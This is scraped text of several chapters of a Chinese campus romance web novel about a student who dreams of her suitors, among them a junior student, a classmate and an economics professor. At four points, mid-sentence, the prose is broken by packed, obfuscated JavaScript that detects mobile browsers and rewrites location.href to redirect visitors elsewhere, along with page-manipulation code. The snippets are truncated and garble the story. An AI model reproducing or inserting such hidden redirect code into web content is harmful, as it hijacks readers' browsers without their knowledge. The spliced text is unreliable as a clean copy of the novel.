除了燕舒和李梦音之外,另一人既不是纪佳时也不是陆寻春,更不是白榆。 是曾凌勇。 三人,站着燕舒和李梦音两人,跪着曾凌勇一人。 李梦音站在座位的空隙中,曾凌勇跪在过道,似乎两人被他堵住了。他穿着牛仔裤和格子衬衫,头发凌乱,面色暗沉,眼眶湿润,望着李梦音满脸悲伤,小心翼翼地伸手想碰李梦音的衣服,可是李梦音厌恶地看他一眼,拍手打掉他往前的手。 “你闹够了没有?”她问道。语气中满是不耐烦。 “我们已经分手了。你别仗着你是男人我就不敢打你。” 曾凌勇摇头,他哭道:“阿音,我不想和你分手。” “我错了,我真的知道错了。是我太蛮横了,都是我的错,我太不理解你了。” “你别和我分手。”他实在离不开她,只有在她身边,他才觉得自己是被爱的。 曾凌勇是家中独子,但母父对他并不关爱,她们更爱他的表姐,亲戚朋友聚会时更是叹息自己没有个女儿,希望姑姑家能把表姐过继到她们名下。所以,虽然他从小没在吃穿上受什么委屈,但精神上他觉得自己备受煎熬。 他指责家里人重女轻男,可她们往往会骂他白眼狼、不知好歹,她们明明只养了他一个。 他孤独,没有安全感,十分缺爱。 长大后,他开始从爱情中去汲取他小时候从家人身上没有得到的感情,遇上李梦音,两人交往,他才感觉自己被爱。他绝对不能和她分手。 曾凌勇长得一般,此时哭起来更是不好看,李梦音有些嫌弃地看他,很快又隐去,面上露出容忍的神情。她看了燕舒一眼,见燕舒在直愣愣地盯着她,便知这事只能自己解决。 她上前一步,蹲下和曾凌勇对视,“凌勇你别哭了,你这样真的闹得我很难堪。” “感情这事本来就是合适就在一起,不合适就分开,咱们好聚好散不行吗?” “可是,我不能离开你……”曾凌勇哭道。 李梦音直视他,道:“可你配不上我啊!你不能阻止我找更好的男朋友。” “你看我长得这么好看,你站在我身边,十个有八个说不配。” 曾凌勇停止抽噎,他的背忽地驼了下来,头也低垂,似乎受到了李梦音的语言打击。 李梦音知道自己这话可能有些太残忍了,可这就是事实啊。 她们两人,比家境她是比不过他,可她是女人啊,又长得漂亮,还是名牌大学毕业,她多么优秀。且就凭脸,只要考上老家的公务员,不过两年就会被人看上做驸马。 虽然曾凌勇家境比她好,可她也只是暂时起点低,在这个世界,她条条大路通罗马。 他确实对她不错,吃穿花的都是他的钱,这让她略微心虚,但她看着曾凌勇那张脸又觉得自己没错。 曾凌勇配不上她。 “可……可……”曾凌勇慢慢起身。跪久了,他膝盖疼,还要撑着桌子支撑才行。 “可什么?”李梦音问。 “你全身衣服都是我买给你的,我给你转账不下六位数……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126987|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李梦音皱眉打断他,“你什么意思?你想让我还你吗!好!我现在就还你!我们分手就要分得干干净净,一点都不牵扯!” 说着她就要脱下外套,见状,曾凌勇连忙后退摆手,“我只是在想,我以后不能再给你花钱了,我难过。” 听到这话,李梦音沉默片刻后道:“你可以现在最后再给我转点。” “好。”曾凌勇欢喜打开手机,却又沮丧低头,“你早把我删了。” “啊!那我们现在重新加上。” 看着李梦音几句将人哄走,转身笑嘻嘻对燕舒晃晃手机。 “厉害。真的厉害。这才应该是你啊。”燕舒竖起一个大拇指,既感慨又赞叹。 燕舒初见李梦音时对她的第一印象就是“不好接近”、“冷冰冰”、“漂亮”,后来了解发现李梦音实则有些自卑怯懦,她保护自己的方式就是浑身带刺针对每一个试图接近她的人,后面燕舒与她交情更深,才知道她这样是由于家庭情况造成的。 几岁家庭离异,爸妈都不想要,跟着外公外婆在一起,后面上学回城里,母亲已经再婚生了个小儿子,因为长得好看,初中还被流氓调戏闹出恶意流言,学校里也存在对她的隐形霸凌,几层buff叠下来,她还能成绩优异考上C大。 燕舒看得出,李梦音这样的人心中有一团野火,灼灼燃烧着。无论生活的境遇多么糟糕,她们都会挣扎着再爬起来。 她喜欢这样的人。 燕舒看着李梦音,脸上露出笑容,上前几步抱住李梦音,道:“这应该才是你。” “什么应该是我?”李梦音问。 轰得一声,面前的教室碎裂,梦境结束。 12. 第 12 章 在操场上遇见纪佳时,燕舒并不惊讶,反而是昨天梦中他没出现才让她有些讶异。意识到这一点到让她有些恍惚,她竟然梦中一直见着他,不是爱人就是情人。 她细细打量纪佳时,发现他今天比昨天还要好看,眉目如画,站在白兰树下像是模特置景拍照一般。心中思绪百转千回,燕舒面上镇定,唯有耳朵上的红色泄露了她此刻心中颇不平静。 她向他招手,心道毕竟是昨天加了好友的,而且还互道晚安了。 “纪学弟。”她放慢脚步向他走去。 现在是早上七点,操场上早起跑步的人不算多。 今日纪佳时起得比昨天还要早,甚至还有时间在女生宿舍楼下逛了一圈。燕舒走入操场的第一秒,他就发现了她,听见燕舒叫他,又见她主动向他走来,纪佳时眼睛一亮,抬脚也向对面人走去,笑着打招呼道:“学姐。” 白兰花凋零,花瓣落下,从纪佳时的眼前飘落。春风冷,却也温柔。 两人在跑道最外侧相逢,然后齐齐站定,相互对视,两颗灼热的心脏怦怦跳动。 “好巧,又遇见了。”燕舒最先移开目光,开口道。 她鼻子微动,嗅到除白兰香之外的一股香味,像是带着海盐味道的柠檬汽水味,闻着很清新。而这香味来自纪佳时,或许因为燕舒刚刚凑近,且早上空气冷得让她鼻腔空荡荡,这味道便让她闻到了。 “嗯,学姐,好巧。”纪佳时点头,完全不解释刚刚自己站在树下不跑步是为了什么。 等她。 等这场‘巧合’。 为了这场巧合,他私下和周教授聊了许久,问出燕舒来操场跑步的频率和时间,再早起怀着兴奋与期待从三期走到这里,然后等待。 纪佳时是有些刻板规矩的,他是个做事很干脆利落的人,连一天里的时间都要妥帖的安排,他不会强迫自己把一天安排得满满当当,但他讨厌浪费时间,绝对不会耗费时间做不值得的事,更不会去等一个不知道会不会出现的人。 但这都是他遇见燕舒之前的想法。 想见一个人,满心满眼都是她,等待时只觉得时间又漫长又短暂,根本不会计较是否被浪费。 如果真要计较,那就让这春光浪费吧。 春风冷,但吹不冷他脸颊的滚烫。 “一起跑吗?”燕舒问。 “好。”纪佳时藏住心中涌起的欢喜雀跃,喉结上下滑动,眼睫轻轻颤动,点头。 两人进入跑道平行向前,步履轻盈,呼吸平稳,这是两人都互相配合的结果。 有人路过他们,微微侧头瞥了一眼,将目光投注在两人身上,确定这是一对在暧昧中的年轻男女。只有暧昧阶段,年轻的男女才会将时间浪费在跑步上,而不是离开这里去一旁的小公园,那里应该接吻。 燕舒微微侧头去看纪佳时,发现他也在看她,两人视线撞在一起,下一刻,燕舒快速转头。她有些羞涩,又有些解释不清的心情,于是面上不自觉露出笑意。 她不需要问清为什么纪佳时来操场运动要站在树下,为什么他今天喷了香水,他这一切做得太刻意,太笨拙,可正因此,燕舒知道他是为了她。 这就足够了。 他喜欢她吗?为什么呢?是由于梦中潜意识的影响吗? 心中的甜蜜渗入丝丝酸涩,如果是因为梦,那么这份喜欢也太虚无和空洞了。梦境这个金手指会因为旅行者的离开而消失,梦境中的人会在她醒来的那一刻消失,可现实中的人不会,现实中的故事也不会,一旦遇见,两条线相交就会在各自生命中留下印记。 她应该怎么办呢? 燕舒是一个喜欢过于提前思考的人,这样的人可以说她谨慎、深沉、有远见,也可以说是胆小。 突然,她停下脚步,纪佳时也同样停下脚步,他有些不明所以地看着她。 纠结对方喜欢不就喜欢自己和爱不爱也太过执着了,她只知道自己确实因为他的出现而高兴,欢喜于他在她面前表现的笨拙与特意。他长得那么好看,至少燕舒是喜欢的。于是,燕舒道:“纪学弟,你是特意等我的吗?” 对面,纪佳时白皙的面庞渐渐浮上粉红,他望着燕舒的眼睛,有些想反驳,这或许源于白榆说“不能太主动吓着对方”的教导也或许源于自身的傲气与矜持。可燕舒的眼睛那么明亮和认真,纪佳时在这样的眼神中所有的傲气与矜持都消散,所有的理智都被磨灭,他点头,“是”。 燕舒嘴角微弯,她伸手压在纪佳时还欲张嘴的唇上。 这举动有些大胆和肆意,但燕舒就这样做了,因为她高兴。 “好了,别说了。” 纪佳时看着面前的少女,视线又落到堵住自己嘴的手,明明是春风微冷,可她的指腹那么灼热。 身旁有人跑过他们身旁,燕舒讪讪地将手放下,拉着纪佳时的衣袖移步出跑道。 燕舒今天还是扎着马尾,碎发在两侧飘,纪佳时注意到那几缕飘忽的碎发,于是心也随之浮浮沉沉。 “吃早饭吗?一起?”燕舒又开口。 她盯了纪佳时几秒,又移开目光。 “好。” 两人一齐向操场出口走去,没有凑近,但当距离拉远时又会默默缩短距离,像是有一根弹性绳索将两人绑在一起,不能太远也不能太近。 纪佳时跟在燕舒身后,手指轻轻勾起她的头发,在前面的人察觉的一瞬又悄悄放下手。 “学姐。” “怎么了?”燕舒转头。 “你可以叫我佳时。” 燕舒咬唇,躲避纪佳时的视线快步向前走,“佳时。” 纪佳时耳朵灵敏,听见燕舒叫那两个字,连忙跟上走到她身旁去瞧她的神色,可燕舒轻飘飘地瞥了他一眼依旧淡然自若的模样。虽然心中有些挫败,但更多的是欢喜。 燕舒带纪佳时离开了学校,两人坐在校门口一家早餐店中,店中人不少,他们坐在进门靠墙的位置。 纪佳时抬头巡视店中的其他桌,人很多,但一男一女吃早饭坐在一起就几桌,而且一看就是情侣模样,互相笑得甜蜜。 想到这里,纪佳时也勾起嘴角,然后与一个端着稀粥的男人对上视线,对方似乎在店中找位置坐,瞧见他,又看到他身旁的空位,开口问:“可以坐这吗?” 燕舒听见问询声抬头,看见男人,惊讶开口:“莫老师。” “你是?”莫沅也惊讶,毕竟昨天他还给师母朋友圈点赞了,没想到今天就遇见了,真是有缘分。 只不过叫什么名字? 燕舒还以为对方不认识自己,毕竟选修课人那么多,老师除非记忆力过人,否则大部分大学老师只会记得课堂上那些让他们记忆深刻的学生。 “我选修了您的国际经济,我叫燕舒。”燕舒站起身介绍道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126988|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,我记得你。燕舒。”莫沅将碗放到桌上,直接坐到纪佳时身边。 纪佳时此刻很不爽,如果坐他身边的是个陌生人也就罢了,但却是认识燕舒的年轻男人。莫沅虽然三十,但长相英俊,今天更是一身白色连帽卫衣外加棕色外套背了个书包,显得很是年轻。并且,他私下不像课堂上那样严肃,言笑晏晏,给人亲近之感。 尽管对方是燕舒选修课老师,经济学教授,但纪佳时依旧不爽。不过,也因为对方是老师,在对方看过来时,纪佳时自我介绍道:“纪佳时,法学。” 莫教授私下意外地好相处,燕舒有些惊讶。她觉得遇见老师多少有些尴尬,于是尽量找话题,结果莫教授都接上了,聊得竟然还算愉快。 “上次听到那个案例就想问几句,不过课堂上有些不好意就没问……” “读研吗?目前没有这个想法,还是想尽快工作。” “希望可以留在C市吧。” “……” 饭吃完,三人起身走出餐馆。燕舒眼睛亮晶晶地看着莫沅,“教授也是陵隆的人吗?陵隆中学?” “学姐。”纪佳时终于开口打断两人的交谈。 这一顿饭,吃得他心情低落,燕舒和莫教授两人交谈刚开始只简单聊经济学知识,他还能插一两句嘴,可后面两人直接聊的内容,纪佳时只有保持沉默了。他认真将燕舒话中透露出的信息记下,却又懊恼为什么自己不能和她聊到这一步。 “怎么了?”燕舒问。 她没觉得纪佳时沉默,毕竟两人细数现实中才认识两天,在她看来他一直很些高冷,毕竟是帅哥,虽然偶尔春风和煦地笑,但依旧流露出的是疏离的冷漠。 “我上午满课,我先回去了。”纪佳时语气低落。 “好。再见。”她挥手。 “再见。” 纪佳时和两人走相反方向,他走了一会,转身注视两人的背影听见他们的交谈: “我是陵隆中学,初中升到高中的……” “我高中出国了。” “难怪。” “你们教导主任还是王秃头吗?” “王主任吗?已经不是秃头了,他在我们高一那年就植发了……” 两人走到教学楼近处,莫沅停下脚步,转头看向燕舒,“好了,学妹,就送我到这里吧。” 燕舒一愣,学妹?送? 反应过来,她摇头摆手,“我哪敢当您的学妹,就沾了点陵隆的光。” 莫沅挑眉,“初中也算学校。” “对了,刚刚男生是你男朋友?” “不是。” “哦,昨天在周教授朋友圈看见你们和她的合照。一个国际政治、一个工商管理、一个法学,怎么联系到一块的?”莫沅好奇问。 “因为早上运动和周教授在女生宿舍旁的小公园偶遇过几次。” “哦”,莫沅点头表示了解,“既然这样,我们也遇见了,加个微信吧。”他递出手机。 两人站在教学楼的过道树荫下,燕舒有些忐忑地加上莫教授的微信,准备和他告别。哪知身后的草丛中蹿出一道阴影,燕舒被吓了一跳,直接左脚跨右脚跌下过道的台阶。 即使莫沅手疾眼快抓住她的手臂,但燕舒还是崴了脚,她双手抱住莫教授的腰,以一个十分尴尬的姿势半趴在他身上。 她抬头和他对视,两人眼中都闪过尴尬。 13. 第 13 章 燕舒被校园里的猫吓到崴了脚,但所幸莫教授的办公室就在不远处,燕舒被他扶到他办公室的沙发坐下。 “燕同学,你不介意我把门敞开吧。”莫沅问了一句。 燕舒摇头,然后打量这间办公室,办公室不算大,但意外地‘麻雀虽小五脏俱全’,除开标配的棕红色木质书桌和书柜,屋内还有沙发、玻璃茶几、一个茶桌和置于角落的展示架,展示架上放满了各种茶具,书桌靠近窗台处安置了一个五层高的铁架台,上面摆满了植物。 白色的纱窗被莫沅拉开,阳光照入室内,携带着丝丝温暖照在他身上,金色的光芒在地面流淌,叶绿在晃荡,多么温馨、美好。 燕舒进入这个房间,所见到的一切都在向她传递一个信息:莫教授是个很热爱生活的人。 莫沅低头弯腰从柜子下面拿出医药箱,转身抬头就对上了女孩子的目光。她因为刚刚扑到他怀中而头发微微散乱,阳光落在她脸上为她的轮廓染上了一层金边,她脸微微发红,眼睛明亮有神,笑容明媚。 或许是被她的笑容感染,莫沅也忍不住笑了,刚刚故意严肃的神色立刻被笑容掩盖。 他从小冰箱中又拿出冰袋,提着医药箱走到燕舒面前,蹲下,抬头看了她一眼,道:“把鞋子脱了。” “啊?” 燕舒懵了。 “你脚崴了,我捏一下,看看严重不,严重的话我就得送你去医院了。”他道。 燕舒脸有些发烫,不情愿道:“不严重的,教授,我在这坐着休息一下就行。” 莫教授长得还是太年轻了,她当着他的面脱鞋,他还要捏她的脚,总觉得怪怪的,实在尴尬。 莫沅与她对视,两人进行无声的较量,没一会儿,燕舒就败下阵来。她脸皮还是不够厚,只能低头脱鞋子,把脚抽出。 男人半跪,面不改色,将她那只脚抓住,袜子轻轻下堆,脚裸已经红肿了,他轻轻捏了捏,抬头问:“微微痛还是很痛?” 燕舒仔细感受后描述:“轻微痛,按压会更痛些。” 莫沅松开手,拿起茶几上的冰袋和毛巾,“还好,应该只是轻度崴脚。” 他将冰袋包进毛巾,递给燕舒,“你坐着冰敷个半小时,我再给你上药。” “莫教授,只是轻度崴脚,我没什么大事的,我……”燕舒不愿接,想离开。 莫沅依旧是将冰袋递给她的动作,神色淡然,慢悠悠道:“脚裸扭伤后应该立即停止活动,避免进一步扭伤,这是你第一次崴脚?” 燕舒摇头,接过了冰袋,默默给脚裸冰敷起来。 莫沅起身,觉得女孩傻乎乎,眼神清澈明亮,心思透明得过分直白。想到了什么,他转身走出办公室。 燕舒不知道对方去哪,但看他离开,心里的紧张终于缓解了几分。她拿出手机,给李梦音发消息,没得到对方回复,估计还在睡。 于是,又简单回复了陆寻春和纪佳时两人的微信。 “喵~” 猫叫声在耳边响起,燕舒转头,竟然是莫沅抱着一只狸花猫从外面走入,小猫不大,不过男人的半个手臂长,它被他抱在怀中喵喵叫。 男人将他抱入室内,蹲在燕舒身前,举起猫,控制猫爪上下摇动,“我把害你崴脚的罪魁祸首抓来了。” “可恶的小猫!”他发出邪恶的语气。 “喵~”小猫轻声叫唤。 “它在和你说对不起。”他看着她道。 “喵~” “求你原谅它吧~” 燕舒终于忍不住笑出声,整个人也放松下来。 男人看着她脸上的笑,摸着小猫软软的肉垫,心也觉得柔软,他将小猫放在她身旁。小猫先在沙发上缩了会儿,然后慢慢朝燕舒走来,它小心地蹲在燕舒身侧,再试探性地伸出爪子按在她的裤子上,接着爬到她怀中。 燕舒的心快被这猫可爱化了,可惜两只手都用在拿住冰袋上了,没办法摸猫。 莫沅从柜子里拿出一袋猫粮和一盒宠物牛奶,他原本只准备拿猫的牛奶的,可是沙发上还坐着一个女孩子,想了想又拿了一瓶舒化奶。 他转身看见猫缩在了燕舒的腿上,一愣,然后立马走近将其抱起,道:“它没洗澡,你……” 燕舒摇头,眉眼弯弯,“啊,我不介意的。” “教授,这猫是你养的吗?叫什么名字啊?”燕舒很喜欢小动物,可惜父母不准她养。女生宿舍楼下也有猫,有爱心人士还专门买了猫舍和碗,燕舒也买了猫粮经常去投喂,只是因为冬天和一个寒假没见,那两只猫都不见了。在网上看见,说是依旧在C大,只是跑去其他地方了。 莫沅从角落脱出一个瓷碗,道:“不是我养的,学校里的流浪猫,到处跑,我这里只是它的一处驿站。名字?” 他将牛奶和猫粮倒进瓷碗中,抬头对燕舒一笑,“我叫它菲利普斯。” 小猫迈着猫步走到碗边,低头埋入碗中。 “是不是很优雅?”他伸手摸小猫的头,然后从头顺到尾。 “菲利普斯?”燕舒喊道。可惜小猫埋头于吃饭,理也没理。 男人看着小猫,道:“它暂时还没认可这个名字。” 他擦擦手走到办公桌后坐下,打开电脑开始办公。 燕舒望着他的脸,心想莫教授工作和不工作的状态差别好大,就像此刻他坐在电脑前,皱着眉,一副生人勿近的模样,谁能想到他刚刚抱着猫笑眯眯作怪的模样。 就这样,燕舒盯着对方,竟走神了。直到男人转头和她对视,然后起身拉开椅子走到她面前,蹲下,将冰袋接过。 燕舒捏着包裹着冰袋的毛巾捏了半个小时,此时手都冰冷,她接过对方递来的热牛奶,有些惊讶,看到茶桌上沸腾冒着热气的水才想明白这热牛奶从哪来。她盯着对方走神了,直到接过热牛奶才如梦初醒,不免有些羞赧,小声道:“谢谢教授。” 男人点头,打开医药箱,拿出药剂喷雾,握住燕舒的脚,将药水轻轻喷洒在脚裸,再用棉签涂抹均匀。 抬头,燕舒双手紧紧握着热牛奶,两人对视,他道:“我要去上课了,给你简单上药处理了一下,我要去上课了,你继续在这待着冰敷。知道吗?” 燕舒道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126989|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “教授,我现在真的好太多了,你去上课吧,我等会就回宿舍,我今天下午也有课。真的很感谢你。” “好吧。” 莫沅确实有课,不能一直照顾她。况且,他一直关心对方也有些过了,又不能把她扶回寝室楼下,想也会传出什么莫名其妙的流言。既然如此,燕舒待一会然后自己离开确实是最好的解决方法。 他起身,将菲利普斯舔得干干净净的瓷碗拿起,用纸巾擦了擦,看着燕舒道:“你还是先在这休息会,问下你室友有空能不能来接你一趟,等她来了,再走。门直接关上就行。” “好。”燕舒连连点头。 莫沅上课要带的东西不多,很快他收拾好了,走到门口,他后退半步,盯着燕舒手中的牛奶道:“牛奶快冷了,记得喝。桌子上的药和冰袋也一起带走。你们宿管应该有冰箱,冰化了你让她帮下忙。” 燕舒喝着牛奶心想莫教授真的是个很细心的人啊。 “对了,我布置的分析论文,你写了吗” 燕舒低下头,小声回答:“写了一点点。” 她听到男人轻笑了一声,然后离开了。 燕舒在莫沅办公室待了一会就给李梦音发让她来接她的消息,现在时间已经到十点,李梦音应该醒了。果然,没一会,对方就回复道:【马上】 莫沅教授的办公室在一楼角落,旁边有其他老师的办公室,在等待的过程中只遇见一个中年男教授路过,他停在门口问了燕舒为什么在这?莫教授人呢?得到回复后就离开了。知道燕舒是崴了脚,还叫她多待着休息会,燕舒拒绝了。 很快,李梦音赶来,她穿着睡衣踩着脱鞋,进入莫沅的办公室,先是扫了眼办公室的布局,然后将燕舒扶起。早在微信上,她就知道事情的全部经过了。 两人离开办公室,路上聊天道:“之前听你说莫教授课上可严厉了,结果看他办公室布局,感觉是个很热爱生活、很好接近的人才是。” 燕舒点头,“确实,没想到反差那么大。” “听说长得也帅,三十岁,结婚了吧?” “没。第一节课就有人问过了。” “也是,三十岁就成教授的肯定是个事业狂,事业狂一般都晚婚。” “你都这样了,下午还要去上课吗?” “你觉得呢?当然是请假不去!” 宿舍,燕舒躺在床上,和纪佳时聊天: 【纪佳时:学姐,你受伤了?严不严重?】 【燕舒:只是轻度崴脚,我冰敷还搽了药,没什么事的,只不过我依旧请假没去上课】 【燕舒:[小猫歪嘴]】 【燕舒:只是,我这几周都不会早起跑步运动了,你早上别来等我了】 【纪佳时:可是我很想你】 【学姐,我想见你。】 燕舒看着屏幕上的话,怔愣了许久,然后猛地将手机放在枕头旁,扯过旁边的娃娃,抱住怀中。 “可恶!” 是她太弱,还是对方太会撩?怎么一句话就让自己溃不成军了? 这直球也打得太直了吧。 14. 第 14 章 燕舒没有再回复纪佳时的消息。 她躺在床上玩手机,几个视频刷过去,感觉十分无聊,突然手指在屏幕上停住,她点进了一间直播间。 屏幕中,一个穿着白衬衫的男人坐在书桌前看书,他没露脸,燕舒只能看见他翻书的手和白色衬衫,直播间人不多,应该是刚开,有人进入问了几句这是在干嘛,没得到回复,也走了。似乎主播真的只是开直播看书,他全程一直在沉浸地看书。 直播间的音乐很舒缓,但不像程序设置的,而是主播房间放歌被录入的,燕舒听着觉得很舒服,仔细打量整个画面,男人应该在书房,整个房间是原木风格,身后是一面墙的书柜,摆在最外侧最显眼的几本书燕舒也有,其他的就有些看不清了,应该是对方对画面背景做了模糊处理。 她将视线投到近处的书桌上,很干净,不过他桌上应该喜欢摆放绿植,因为大片的叶子入镜了,屏幕微微晃动,一双手遮挡镜头,再过了一会镜头又恢复了。 此刻,燕舒看向屏幕上方,这个直播间竟然只剩下她一个人还没走了。 出于好奇,燕舒打字问:【在看什么书?】 前面也有人问,不过又被各种话刷覆盖了,有些人觉得主播高冷和故弄玄虚,走之前还骂几句。但燕舒发完这句话,对方握着书的手指微动,消失在镜头中,然后过了一会,男人将书竖起露出封面:《狼王梦》。 “狼王梦。”是机械男音,应该是用了变声软件。 狼王梦? 燕舒有些惊讶,竟然是一本儿童故事书,难怪在他翻页时她看到了彩绘。 【没有想到主播是在看童话书,点进直播间最开始以为你在看什么学习资料呢】 他将书重新放下,解释:“我心情不好的时候就想看些放松的书,童话书就当重温童年。” 【开直播是?】 “想和陌生人聊会天但又不想主动去寻找接触陌生人。” 燕舒能理解。 【我小时候在图书馆看过一本草原上的人和失去母亲的小狼发生情感纠葛的书,好像叫大狼,特别喜欢,可惜后面怎么都没找到这本书。】 “大狼?你说的应该是《小狼小狼》,我也很喜欢这本。” “你等等,我去拿。” 屏幕陷入黑暗,燕舒打开搜索界面,搜【小狼小狼】,她详细查看有关故事书的信息,努力和童年记忆中已经模糊不清的画面进行对照,似乎真的对上了。 屏幕再次亮起,男人骨节分明的手拿着一本纸页泛黄的书凑近屏幕,书籍封面上是一头狼站在仰头嚎叫。 【我记不清了,应该就是吧。】 【谢谢主播,我真的很喜欢这本书。我已经下单买啦,之后也重温童年。】 【主播,你听歌品味也蛮不错】 燕舒夸得真心实意,因为她下单完书籍,直接戴上耳机,将手机放在一旁闭眼入睡。对方看书不说话,她就直接把他当助眠直播了。 C市,白石溪别墅区。 封泊津看完书,合上书页,将直播关掉。他扫过停留在他直播间最久的那个账号,他点击那个一只鹿的头像,账号主页什么都没有。他开直播是临时起意,全程只与这个账号聊了几句,对方却之后一直守在他的直播间。 他的指尖在关注键处停留,随后又松开。想了想自己的举动,他脸上不由露出一抹古怪的笑,才直播一次就染上主播病了吗? 下午六点多,燕舒被李梦音叫醒,她帮她带了晚饭,让她起床吃饭。 燕舒拿着手机慢慢下床,坐在椅子上对李梦音送了个飞吻,再聊了聊课上的事,她一边打开盒饭一边点开手机,看着消息界面的【粉丝+1】,有些不解地点进去。 燕舒这是个最近刚开的新号,因为之前的短视频账号被老师要求发作业收集点赞量加分,为了加分,属于燕舒的私人账号就这么曝光了,于是她就直接又创建一个新号,把旧号当与同学老师的社交账号了。 这个账号这么新又什么都没发,谁会加她? 【Spaceship】 刚刚直播看书的主播。 他加她做什么? 燕舒吸了口粉,点进聊天页面,主动问好:【你好[笑脸]】 她等了会,没有得到回复。 可能不小心加上了。 夜色朦胧,燕舒从电脑文档中抬头,瞥了眼时间已是晚上八点,她记得纪佳时和她报备晚上有节晚课,还说晚课结束后来给她送药。 她回复了不用,但他没回她。 燕舒讨厌自作主张、自作多情的人,但纪佳时她可以接受,因为她现在喜欢他,对他正新鲜。 现在,距离下课还剩十七分钟。 她起身慢慢走到阳台,远望窗外,网上说眼睛看手机电脑看久了就应该远望缓解眼睛疲劳,燕舒照做了。不过,五分钟过去,她斜靠在窗台开始玩手机。 【莫教授:抱歉,本想问你脚伤怎么样了,结果一忙就忙到现在。】 【燕舒:谢谢教授关心[感谢]已经好多了】 【燕舒:[小狗鞠躬]】 【陆寻春:燕舒同学,我觉得你对我有些冷淡,是我做错了什么吗?】 燕舒没想到陆寻春竟然这么直接就问了出来,不过想到梦中陆寻春的问询,似乎这举动也很理所当然。 可燕舒又不会告诉他:我梦里和你是男女朋友,但我花心和别的男生搞暧昧,你把人家揍了,我觉得你太暴力。这个事实。 燕舒决定装傻。 【燕舒:啊?是吗?(。?_?。)?I’】 【陆同学,我只是有点不太喜欢在微信上聊天】 【陆寻春:好。那我会努力创造和燕舒同学线下接触的机会。线上聊天,离你太远,总觉得有些虚无缥缈,其实我也不太喜欢】 怎么一个个都打直球? 【你喜欢我?】 嘭,一杆进洞。 【燕舒:陆同学,你为什么喜欢我?我们见面也没有几次。】 【陆寻春:我不想说一见钟情这个词,感觉有些轻佻和胡闹的成分在里面,但我确实第一面就对燕舒你很有好感,如果非要问这好感的由来,那应该就是因为你在烤肉店很勇敢地为那几个女孩子出头,像头威风凛凛的母狮。燕舒,你很帅气。】 鹭湖边的木椅上,陆寻春捧着手机平静地打下这句话。他也问过自己为什么喜欢燕舒,结果脑海中详细回忆起他们的第一次见面。 餐厅吵闹,他听见女生清亮又有力的声音在火热且干燥的餐厅上空响起,循着声音看去,她站在那几个女生身前和对面大肚子的中年人对峙,眉眼凌厉,笑得异常冷艳,陆寻春看见她的第一眼就觉得她很美、很有气质、很帅气。 他随着人群起身上前吃瓜,特意站在她身后,也张嘴出声,甚至准备对方动手时主动上前出手,因此,他在燕舒被迫后退倒下时恰好接住。她转过头,眼中先是惊愕,然后是感谢,对他露出轻柔的微笑。 她很可爱,配合其他人的话,对他悄悄眨眼,又倒在他怀中,假装面色痛苦。 陆寻春闻到她头发的花香,夜晚昏黄的灯光有些照不出他耳尖的红,就这样,陆寻春心动了。 陆寻春没谈过恋爱,他不懂为什么一见钟情这个词说出来会引发室友的嘲笑。 一见钟情,不可以吗? 他的脑海中反复铭记与她见面的那些记忆,虽然短暂,但却如此清晰。他人生二十三年,除却幼时不记事的年岁,剩下十多年留下的记忆多少是模糊不清的,只有极少数人才会留给他清晰且深刻的某些记忆瞬间。 他喜欢上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126990|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她,他很确定。 只是,她信吗? 燕舒不信。只是,在看到“母狮”这两个字时,她被逗笑了。 下课铃声响了。 纪佳时几乎是一瞬就冲出了教室,留下一些关注着他这举动而面露惊讶的人群。不过,白榆几人却早已知道纪佳时是要去见他那学姐。 “话说,纪佳时到底喜欢上谁了?都给迷成这样了。”程云看向白榆和周兆鹏问。 “看我干嘛?不知道。不认识。”白榆在打游戏,头都不抬回答道。 “好吧。吃宵夜不?” “吃!” 三人走出教学楼,突然,周兆鹏看着手机停住脚步,“有线索!” “纪佳时又上表白墙了。你们看!” 前面两人折返,一起凑到周兆鹏身边,屏幕上,是一张偷拍照,纪佳时坐在校外早餐店里,偷拍的人应该在外面,他旁边还坐着一个穿大衣的年轻男生,两人对面坐着一个女生,但只露出一半身体,剩下一半都被前一桌人挡住了。 